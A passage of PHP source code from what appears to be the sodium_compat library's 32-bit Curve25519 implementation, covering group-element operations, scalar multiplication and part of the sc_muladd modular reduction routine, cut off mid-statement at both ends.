ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][0]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][1]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][2]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][3]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][4]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][5]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][6]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][7]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][8]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][9]) ) ), ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array( ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][0]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][1]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][2]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][3]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][4]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][5]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][6]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][7]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][8]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][9]) ) ) ); } } } if (!is_int($pos)) { throw new InvalidArgumentException('Position must be an integer'); } if ($pos < 0 || $pos > 31) { throw new RangeException('Position is out of range [0, 31]'); } $bnegative = self::negative($b); $babs = $b - (((-$bnegative) & $b) << 1); $t = self::ge_precomp_0(); for ($i = 0; $i < 8; ++$i) { $t = self::cmov( $t, $base[$pos][$i], -self::equal($babs, $i + 1) ); } $minusT = new ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp( self::fe_copy($t->yminusx), self::fe_copy($t->yplusx), self::fe_neg($t->xy2d) ); return self::cmov($t, $minusT, -$bnegative); } /** * Subtract two group elements. * * r = p - q * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Cached $q * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 * @throws SodiumException * @throws TypeError */ public static function ge_sub( ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p, ParagonIE_Sodium_Core32_Curve25519_Ge_Cached $q ) { $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1(); $r->X = self::fe_add($p->Y, $p->X); $r->Y = self::fe_sub($p->Y, $p->X); $r->Z = self::fe_mul($r->X, $q->YminusX); $r->Y = self::fe_mul($r->Y, $q->YplusX); $r->T = self::fe_mul($q->T2d, $p->T); $r->X = self::fe_mul($p->Z, $q->Z); $t0 = self::fe_add($r->X, $r->X); $r->X = self::fe_sub($r->Z, $r->Y); $r->Y = self::fe_add($r->Z, $r->Y); $r->Z = self::fe_sub($t0, $r->T); $r->T = self::fe_add($t0, $r->T); return $r; } /** * Convert a group element to a byte string. * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $h * @return string * @throws SodiumException * @throws TypeError */ public static function ge_tobytes(ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $h) { $recip = self::fe_invert($h->Z); $x = self::fe_mul($h->X, $recip); $y = self::fe_mul($h->Y, $recip); $s = self::fe_tobytes($y); $s[31] = self::intToChr( self::chrToInt($s[31]) ^ (self::fe_isnegative($x) << 7) ); return $s; } /** * @internal You should not use this directly from another application * * @param string $a * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A * @param string $b * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P2 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArrayAccess */ public static function ge_double_scalarmult_vartime( $a, ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A, $b ) { /** @var array $Ai */ $Ai = array(); static $Bi = array(); /** @var array $Bi */ if (!$Bi) { for ($i = 0; $i < 8; ++$i) { $Bi[$i] = new ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp( ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array( ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][0]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][1]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][2]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][3]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][4]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][5]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][6]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][7]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][8]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][9]) ) ), ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array( ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][0]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][1]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][2]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][3]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][4]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][5]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][6]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][7]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][8]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][9]) ) ), ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array( ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][0]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][1]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][2]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][3]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][4]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][5]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][6]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][7]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][8]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][9]) ) ) ); } } for ($i = 0; $i < 8; ++$i) { $Ai[$i] = new ParagonIE_Sodium_Core32_Curve25519_Ge_Cached( self::fe_0(), self::fe_0(), self::fe_0(), self::fe_0() ); } /** @var array $Ai */ # slide(aslide,a); # slide(bslide,b); /** @var array $aslide */ $aslide = self::slide($a); /** @var array $bslide */ $bslide = self::slide($b); # ge_p3_to_cached(&Ai[0],A); # ge_p3_dbl(&t,A); ge_p1p1_to_p3(&A2,&t); $Ai[0] = self::ge_p3_to_cached($A); $t = self::ge_p3_dbl($A); $A2 = self::ge_p1p1_to_p3($t); # ge_add(&t,&A2,&Ai[0]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[1],&u); # ge_add(&t,&A2,&Ai[1]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[2],&u); # ge_add(&t,&A2,&Ai[2]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[3],&u); # ge_add(&t,&A2,&Ai[3]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[4],&u); # ge_add(&t,&A2,&Ai[4]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[5],&u); # ge_add(&t,&A2,&Ai[5]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[6],&u); # ge_add(&t,&A2,&Ai[6]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[7],&u); for ($i = 0; $i < 7; ++$i) { $t = self::ge_add($A2, $Ai[$i]); $u = self::ge_p1p1_to_p3($t); $Ai[$i + 1] = self::ge_p3_to_cached($u); } # ge_p2_0(r); $r = self::ge_p2_0(); # for (i = 255;i >= 0;--i) { # if (aslide[i] || bslide[i]) break; # } $i = 255; for (; $i >= 0; --$i) { if ($aslide[$i] || $bslide[$i]) { break; } } # for (;i >= 0;--i) { for (; $i >= 0; --$i) { # ge_p2_dbl(&t,r); $t = self::ge_p2_dbl($r); # if (aslide[i] > 0) { if ($aslide[$i] > 0) { # ge_p1p1_to_p3(&u,&t); # ge_add(&t,&u,&Ai[aslide[i]/2]); $u = self::ge_p1p1_to_p3($t); $t = self::ge_add( $u, $Ai[(int) floor($aslide[$i] / 2)] ); # } else if (aslide[i] < 0) { } elseif ($aslide[$i] < 0) { # ge_p1p1_to_p3(&u,&t); # ge_sub(&t,&u,&Ai[(-aslide[i])/2]); $u = self::ge_p1p1_to_p3($t); $t = self::ge_sub( $u, $Ai[(int) floor(-$aslide[$i] / 2)] ); } /** @var array $Bi */ # if (bslide[i] > 0) { if ($bslide[$i] > 0) { # ge_p1p1_to_p3(&u,&t); # ge_madd(&t,&u,&Bi[bslide[i]/2]); $u = self::ge_p1p1_to_p3($t); /** @var int $index */ $index = (int) floor($bslide[$i] / 2); /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $thisB */ $thisB = $Bi[$index]; $t = self::ge_madd($t, $u, $thisB); # } else if (bslide[i] < 0) { } elseif ($bslide[$i] < 0) { # ge_p1p1_to_p3(&u,&t); # ge_msub(&t,&u,&Bi[(-bslide[i])/2]); $u = self::ge_p1p1_to_p3($t); /** @var int $index */ $index = (int) floor(-$bslide[$i] / 2); /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $thisB */ $thisB = $Bi[$index]; $t = self::ge_msub($t, $u, $thisB); } # ge_p1p1_to_p2(r,&t); $r = self::ge_p1p1_to_p2($t); } return $r; } /** * @internal You should not use this directly from another application * * @param string $a * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P3 * @psalm-suppress MixedAssignment * @psalm-suppress MixedOperand * @throws SodiumException * @throws TypeError */ public static function ge_scalarmult_base($a) { /** @var array $e */ $e = array(); $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1(); for ($i = 0; $i < 32; ++$i) { /** @var int $dbl */ $dbl = (int) $i << 1; $e[$dbl] = (int) self::chrToInt($a[$i]) & 15; $e[$dbl + 1] = (int) (self::chrToInt($a[$i]) >> 4) & 15; } /** @var int $carry */ $carry = 0; for ($i = 0; $i < 63; ++$i) { $e[$i] += $carry; $carry = $e[$i] + 8; $carry >>= 4; $e[$i] -= $carry << 4; } /** @var array $e */ $e[63] += (int) $carry; $h = self::ge_p3_0(); for ($i = 1; $i < 64; $i += 2) { $t = self::ge_select((int) floor($i / 2), (int) $e[$i]); $r = self::ge_madd($r, $h, $t); $h = self::ge_p1p1_to_p3($r); } $r = self::ge_p3_dbl($h); $s = self::ge_p1p1_to_p2($r); $r = self::ge_p2_dbl($s); $s = self::ge_p1p1_to_p2($r); $r = self::ge_p2_dbl($s); $s = self::ge_p1p1_to_p2($r); $r = self::ge_p2_dbl($s); $h = self::ge_p1p1_to_p3($r); for ($i = 0; $i < 64; $i += 2) { $t = self::ge_select($i >> 1, (int) $e[$i]); $r = self::ge_madd($r, $h, $t); $h = self::ge_p1p1_to_p3($r); } return $h; } /** * Calculates (ab + c) mod l * where l = 2^252 + 27742317777372353535851937790883648493 * * @internal You should not use this directly from another application * * @param string $a * @param string $b * @param string $c * @return string * @throws SodiumException * @throws TypeError */ public static function sc_muladd($a, $b, $c) { $a0 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($a, 0, 3))); $a1 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($a, 2, 4)) >> 5)); $a2 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($a, 5, 3)) >> 2)); $a3 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($a, 7, 4)) >> 7)); $a4 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($a, 10, 4)) >> 4)); $a5 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($a, 13, 3)) >> 1)); $a6 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($a, 15, 4)) >> 6)); $a7 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($a, 18, 3)) >> 3)); $a8 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($a, 21, 3))); $a9 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($a, 23, 4)) >> 5)); $a10 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($a, 26, 3)) >> 2)); $a11 = ParagonIE_Sodium_Core32_Int64::fromInt(0x1fffffff & (self::load_4(self::substr($a, 28, 4)) >> 7)); $b0 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($b, 0, 3))); $b1 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($b, 2, 4)) >> 5)); $b2 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($b, 5, 3)) >> 2)); $b3 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($b, 7, 4)) >> 7)); $b4 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($b, 10, 4)) >> 4)); $b5 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($b, 13, 3)) >> 1)); $b6 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($b, 15, 4)) >> 6)); $b7 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($b, 18, 3)) >> 3)); $b8 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($b, 21, 3))); $b9 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($b, 23, 4)) >> 5)); $b10 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($b, 26, 3)) >> 2)); $b11 = ParagonIE_Sodium_Core32_Int64::fromInt(0x1fffffff & (self::load_4(self::substr($b, 28, 4)) >> 7)); $c0 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($c, 0, 3))); $c1 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($c, 2, 4)) >> 5)); $c2 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($c, 5, 3)) >> 2)); $c3 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($c, 7, 4)) >> 7)); $c4 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($c, 10, 4)) >> 4)); $c5 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($c, 13, 3)) >> 1)); $c6 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($c, 15, 4)) >> 6)); $c7 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($c, 18, 3)) >> 3)); $c8 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($c, 21, 3))); $c9 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($c, 23, 4)) >> 5)); $c10 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($c, 26, 3)) >> 2)); $c11 = ParagonIE_Sodium_Core32_Int64::fromInt(0x1fffffff & (self::load_4(self::substr($c, 28, 4)) >> 7)); /* Can't really avoid the pyramid here: */ /** * @var ParagonIE_Sodium_Core32_Int64 $s0 * @var ParagonIE_Sodium_Core32_Int64 $s1 * @var ParagonIE_Sodium_Core32_Int64 $s2 * @var ParagonIE_Sodium_Core32_Int64 $s3 * @var ParagonIE_Sodium_Core32_Int64 $s4 * @var ParagonIE_Sodium_Core32_Int64 $s5 * @var ParagonIE_Sodium_Core32_Int64 $s6 * @var ParagonIE_Sodium_Core32_Int64 $s7 * @var ParagonIE_Sodium_Core32_Int64 $s8 * @var ParagonIE_Sodium_Core32_Int64 $s9 * @var ParagonIE_Sodium_Core32_Int64 $s10 * @var ParagonIE_Sodium_Core32_Int64 $s11 * @var ParagonIE_Sodium_Core32_Int64 $s12 * @var ParagonIE_Sodium_Core32_Int64 $s13 * @var ParagonIE_Sodium_Core32_Int64 $s14 * @var ParagonIE_Sodium_Core32_Int64 $s15 * @var ParagonIE_Sodium_Core32_Int64 $s16 * @var ParagonIE_Sodium_Core32_Int64 $s17 * @var ParagonIE_Sodium_Core32_Int64 $s18 * @var ParagonIE_Sodium_Core32_Int64 $s19 * @var ParagonIE_Sodium_Core32_Int64 $s20 * @var ParagonIE_Sodium_Core32_Int64 $s21 * @var ParagonIE_Sodium_Core32_Int64 $s22 * @var ParagonIE_Sodium_Core32_Int64 $s23 */ $s0 = $c0->addInt64($a0->mulInt64($b0, 24)); $s1 = $c1->addInt64($a0->mulInt64($b1, 24))->addInt64($a1->mulInt64($b0, 24)); $s2 = $c2->addInt64($a0->mulInt64($b2, 24))->addInt64($a1->mulInt64($b1, 24))->addInt64($a2->mulInt64($b0, 24)); $s3 = $c3->addInt64($a0->mulInt64($b3, 24))->addInt64($a1->mulInt64($b2, 24))->addInt64($a2->mulInt64($b1, 24)) ->addInt64($a3->mulInt64($b0, 24)); $s4 = $c4->addInt64($a0->mulInt64($b4, 24))->addInt64($a1->mulInt64($b3, 24))->addInt64($a2->mulInt64($b2, 24)) ->addInt64($a3->mulInt64($b1, 24))->addInt64($a4->mulInt64($b0, 24)); $s5 = $c5->addInt64($a0->mulInt64($b5, 24))->addInt64($a1->mulInt64($b4, 24))->addInt64($a2->mulInt64($b3, 24)) ->addInt64($a3->mulInt64($b2, 24))->addInt64($a4->mulInt64($b1, 24))->addInt64($a5->mulInt64($b0, 24)); $s6 = $c6->addInt64($a0->mulInt64($b6, 24))->addInt64($a1->mulInt64($b5, 24))->addInt64($a2->mulInt64($b4, 24)) ->addInt64($a3->mulInt64($b3, 24))->addInt64($a4->mulInt64($b2, 24))->addInt64($a5->mulInt64($b1, 24)) ->addInt64($a6->mulInt64($b0, 24)); $s7 = $c7->addInt64($a0->mulInt64($b7, 24))->addInt64($a1->mulInt64($b6, 24))->addInt64($a2->mulInt64($b5, 24)) ->addInt64($a3->mulInt64($b4, 24))->addInt64($a4->mulInt64($b3, 24))->addInt64($a5->mulInt64($b2, 24)) ->addInt64($a6->mulInt64($b1, 24))->addInt64($a7->mulInt64($b0, 24)); $s8 = $c8->addInt64($a0->mulInt64($b8, 24))->addInt64($a1->mulInt64($b7, 24))->addInt64($a2->mulInt64($b6, 24)) ->addInt64($a3->mulInt64($b5, 24))->addInt64($a4->mulInt64($b4, 24))->addInt64($a5->mulInt64($b3, 24)) ->addInt64($a6->mulInt64($b2, 24))->addInt64($a7->mulInt64($b1, 24))->addInt64($a8->mulInt64($b0, 24)); $s9 = $c9->addInt64($a0->mulInt64($b9, 24))->addInt64($a1->mulInt64($b8, 24))->addInt64($a2->mulInt64($b7, 24)) ->addInt64($a3->mulInt64($b6, 24))->addInt64($a4->mulInt64($b5, 24))->addInt64($a5->mulInt64($b4, 24)) ->addInt64($a6->mulInt64($b3, 24))->addInt64($a7->mulInt64($b2, 24))->addInt64($a8->mulInt64($b1, 24)) ->addInt64($a9->mulInt64($b0, 24)); $s10 = $c10->addInt64($a0->mulInt64($b10, 24))->addInt64($a1->mulInt64($b9, 24))->addInt64($a2->mulInt64($b8, 24)) ->addInt64($a3->mulInt64($b7, 24))->addInt64($a4->mulInt64($b6, 24))->addInt64($a5->mulInt64($b5, 24)) ->addInt64($a6->mulInt64($b4, 24))->addInt64($a7->mulInt64($b3, 24))->addInt64($a8->mulInt64($b2, 24)) ->addInt64($a9->mulInt64($b1, 24))->addInt64($a10->mulInt64($b0, 24)); $s11 = $c11->addInt64($a0->mulInt64($b11, 24))->addInt64($a1->mulInt64($b10, 24))->addInt64($a2->mulInt64($b9, 24)) ->addInt64($a3->mulInt64($b8, 24))->addInt64($a4->mulInt64($b7, 24))->addInt64($a5->mulInt64($b6, 24)) ->addInt64($a6->mulInt64($b5, 24))->addInt64($a7->mulInt64($b4, 24))->addInt64($a8->mulInt64($b3, 24)) ->addInt64($a9->mulInt64($b2, 24))->addInt64($a10->mulInt64($b1, 24))->addInt64($a11->mulInt64($b0, 24)); $s12 = $a1->mulInt64($b11, 24)->addInt64($a2->mulInt64($b10, 24))->addInt64($a3->mulInt64($b9, 24)) ->addInt64($a4->mulInt64($b8, 24))->addInt64($a5->mulInt64($b7, 24))->addInt64($a6->mulInt64($b6, 24)) ->addInt64($a7->mulInt64($b5, 24))->addInt64($a8->mulInt64($b4, 24))->addInt64($a9->mulInt64($b3, 24)) ->addInt64($a10->mulInt64($b2, 24))->addInt64($a11->mulInt64($b1, 24)); $s13 = $a2->mulInt64($b11, 24)->addInt64($a3->mulInt64($b10, 24))->addInt64($a4->mulInt64($b9, 24)) ->addInt64($a5->mulInt64($b8, 24))->addInt64($a6->mulInt64($b7, 24))->addInt64($a7->mulInt64($b6, 24)) ->addInt64($a8->mulInt64($b5, 24))->addInt64($a9->mulInt64($b4, 24))->addInt64($a10->mulInt64($b3, 24)) ->addInt64($a11->mulInt64($b2, 24)); $s14 = $a3->mulInt64($b11, 24)->addInt64($a4->mulInt64($b10, 24))->addInt64($a5->mulInt64($b9, 24)) ->addInt64($a6->mulInt64($b8, 24))->addInt64($a7->mulInt64($b7, 24))->addInt64($a8->mulInt64($b6, 24)) ->addInt64($a9->mulInt64($b5, 24))->addInt64($a10->mulInt64($b4, 24))->addInt64($a11->mulInt64($b3, 24)); $s15 = $a4->mulInt64($b11, 24)->addInt64($a5->mulInt64($b10, 24))->addInt64($a6->mulInt64($b9, 24)) ->addInt64($a7->mulInt64($b8, 24))->addInt64($a8->mulInt64($b7, 24))->addInt64($a9->mulInt64($b6, 24)) ->addInt64($a10->mulInt64($b5, 24))->addInt64($a11->mulInt64($b4, 24)); $s16 = $a5->mulInt64($b11, 24)->addInt64($a6->mulInt64($b10, 24))->addInt64($a7->mulInt64($b9, 24)) ->addInt64($a8->mulInt64($b8, 24))->addInt64($a9->mulInt64($b7, 24))->addInt64($a10->mulInt64($b6, 24)) ->addInt64($a11->mulInt64($b5, 24)); $s17 = $a6->mulInt64($b11, 24)->addInt64($a7->mulInt64($b10, 24))->addInt64($a8->mulInt64($b9, 24)) ->addInt64($a9->mulInt64($b8, 24))->addInt64($a10->mulInt64($b7, 24))->addInt64($a11->mulInt64($b6, 24)); $s18 = $a7->mulInt64($b11, 24)->addInt64($a8->mulInt64($b10, 24))->addInt64($a9->mulInt64($b9, 24)) ->addInt64($a10->mulInt64($b8, 24))->addInt64($a11->mulInt64($b7, 24)); $s19 = $a8->mulInt64($b11, 24)->addInt64($a9->mulInt64($b10, 24))->addInt64($a10->mulInt64($b9, 24)) ->addInt64($a11->mulInt64($b8, 24)); $s20 = $a9->mulInt64($b11, 24)->addInt64($a10->mulInt64($b10, 24))->addInt64($a11->mulInt64($b9, 24)); $s21 = $a10->mulInt64($b11, 24)->addInt64($a11->mulInt64($b10, 24)); $s22 = $a11->mulInt64($b11, 24); $s23 = new ParagonIE_Sodium_Core32_Int64(); $carry0 = $s0->addInt(1 << 20)->shiftRight(21); $s1 = $s1->addInt64($carry0); $s0 = $s0->subInt64($carry0->shiftLeft(21)); $carry2 = $s2->addInt(1 << 20)->shiftRight(21); $s3 = $s3->addInt64($carry2); $s2 = $s2->subInt64($carry2->shiftLeft(21)); $carry4 = $s4->addInt(1 << 20)->shiftRight(21); $s5 = $s5->addInt64($carry4); $s4 = $s4->subInt64($carry4->shiftLeft(21)); $carry6 = $s6->addInt(1 << 20)->shiftRight(21); $s7 = $s7->addInt64($carry6); $s6 = $s6->subInt64($carry6->shiftLeft(21)); $carry8 = $s8->addInt(1 << 20)->shiftRight(21); $s9 = $s9->addInt64($carry8); $s8 = $s8->subInt64($carry8->shiftLeft(21)); $carry10 = $s10->addInt(1 << 20)->shiftRight(21); $s11 = $s11->addInt64($carry10); $s10 = $s10->subInt64($carry10->shiftLeft(21)); $carry12 = $s12->addInt(1 << 20)->shiftRight(21); $s13 = $s13->addInt64($carry12); $s12 = $s12->subInt64($carry12->shiftLeft(21)); $carry14 = $s14->addInt(1 << 20)->shiftRight(21); $s15 = $s15->addInt64($carry14); $s14 = $s14->subInt64($carry14->shiftLeft(21)); $carry16 = $s16->addInt(1 << 20)->shiftRight(21); $s17 = $s17->addInt64($carry16); $s16 = $s16->subInt64($carry16->shiftLeft(21)); $carry18 = $s18->addInt(1 << 20)->shiftRight(21); $s19 = $s19->addInt64($carry18); $s18 = $s18->subInt64($carry18->shiftLeft(21)); $carry20 = $s20->addInt(1 << 20)->shiftRight(21); $s21 = $s21->addInt64($carry20); $s20 = $s20->subInt64($carry20->shiftLeft(21)); $carry22 = $s22->addInt(1 << 20)->shiftRight(21); $s23 = $s23->addInt64($carry22); $s22 = $s22->subInt64($carry22->shiftLeft(21)); $carry1 = $s1->addInt(1 << 20)->shiftRight(21); $s2 = $s2->addInt64($carry1); $s1 = $s1->subInt64($carry1->shiftLeft(21)); $carry3 = $s3->addInt(1 << 20)->shiftRight(21); $s4 = $s4->addInt64($carry3); $s3 = $s3->subInt64($carry3->shiftLeft(21)); $carry5 = $s5->addInt(1 << 20)->shiftRight(21); $s6 = $s6->addInt64($carry5); $s5 = $s5->subInt64($carry5->shiftLeft(21)); $carry7 = $s7->addInt(1 << 20)->shiftRight(21); $s8 = $s8->addInt64($carry7); $s7 = $s7->subInt64($carry7->shiftLeft(21)); $carry9 = $s9->addInt(1 << 20)->shiftRight(21); $s10 = $s10->addInt64($carry9); $s9 = $s9->subInt64($carry9->shiftLeft(21)); $carry11 = $s11->addInt(1 << 20)->shiftRight(21); $s12 = $s12->addInt64($carry11); $s11 = $s11->subInt64($carry11->shiftLeft(21)); $carry13 = $s13->addInt(1 << 20)->shiftRight(21); $s14 = $s14->addInt64($carry13); $s13 = $s13->subInt64($carry13->shiftLeft(21)); $carry15 = $s15->addInt(1 << 20)->shiftRight(21); $s16 = $s16->addInt64($carry15); $s15 = $s15->subInt64($carry15->shiftLeft(21)); $carry17 = $s17->addInt(1 << 20)->shiftRight(21); $s18 = $s18->addInt64($carry17); $s17 = $s17->subInt64($carry17->shiftLeft(21)); $carry19 = $s19->addInt(1 << 20)->shiftRight(21); $s20 = $s20->addInt64($carry19); $s19 = $s19->subInt64($carry19->shiftLeft(21)); $carry21 = $s21->addInt(1 << 20)->shiftRight(21); $s22 = $s22->addInt64($carry21); $s21 = $s21->subInt64($carry21->shiftLeft(21)); $s11 = $s11->addInt64($s23->mulInt(666643, 20)); $s12 = $s12->addInt64($s23->mulInt(470296, 19)); $s13 = $s13->addInt64($s23->mulInt(654183, 20)); $s14 = $s14->subInt64($s23->mulInt(997805, 20)); $s15 = $s15->addInt64($s23->mulInt(136657, 18)); $s16 = $s16->subInt64($s23->mulInt(683901, 20)); $s10 = $s10->addInt64($s22->mulInt(666643, 20)); $s11 = $s11->addInt64($s22->mulInt(470296, 19)); $s12 = $s12->addInt64($s22->mulInt(654183, 20)); $s13 = $s13->subInt64($s22->mulInt(997805, 20)); $s14 = $s14->addInt64($s22->mulInt(136657, 18)); $s15 = $s15->subInt64($s22->mulInt(683901, 20)); $s9 = $s9->addInt64($s21->mulInt(666643, 20)); $s10 = $s10->addInt64($s21->mulInt(470296, 19)); $s11 = $s11->addInt64($s21->mulInt(654183, 20)); $s12 = $s12->subInt64($s21->mulInt(997805, 20)); $s13 = $s13->addInt64($s21->mulInt(136657, 18)); $s14 = $s14->subInt64($s21->mulInt(683901, 20)); $s8 = $s8->addInt64($s20->mulInt(666643, 20)); $s9 = $s9->addInt64($s20->mulInt(470296, 19)); $s10 = $s10->addInt64($s20->mulInt(654183, 20)); $s11 = $s11->subInt64($s20->mulInt(997805, 20)); $s12 = $s12->addInt64($s20->mulInt(136657, 18)); $s13 = $s13->subInt64($s20->mulInt(683901, 20)); $s7 = $s7->addInt64($s19->mulInt(666643, 20)); $s8 = $s8->addInt64($s19->mulInt(470296, 19)); $s9 = $s9->addInt64($s19->mulInt(654183, 20)); $s10 = $s10->subInt64($s19->mulInt(997805, 20)); $s11 = $s11->addInt64($s19->mulInt(136657, 18)); $s12 = $s12->subInt64($s19->mulInt(683901, 20)); $s6 = $s6->addInt64($s18->mulInt(666643, 20)); $s7 = $s7->addInt64($s18->mulInt(470296, 19)); $s8 = $s8->addInt64($s18->mulInt(654183, 20)); $s9 = $s9->subInt64($s18->mulInt(997805, 20)); $s10 = $s10->addInt64($s18->mulInt(136657, 18)); $s11 = $s11->subInt64($s18->mulInt(683901, 20)); $carry6 = $s6->addInt(1 << 20)->shiftRight(21); $s7 = $s7->addInt64($carry6); $s6 = $s6->subInt64($carry6->shiftLeft(21)); $carry8 = $s8->addInt(1 << 20)->shiftRight(21); $s9 = $s9->addInt64($carry8); $s8 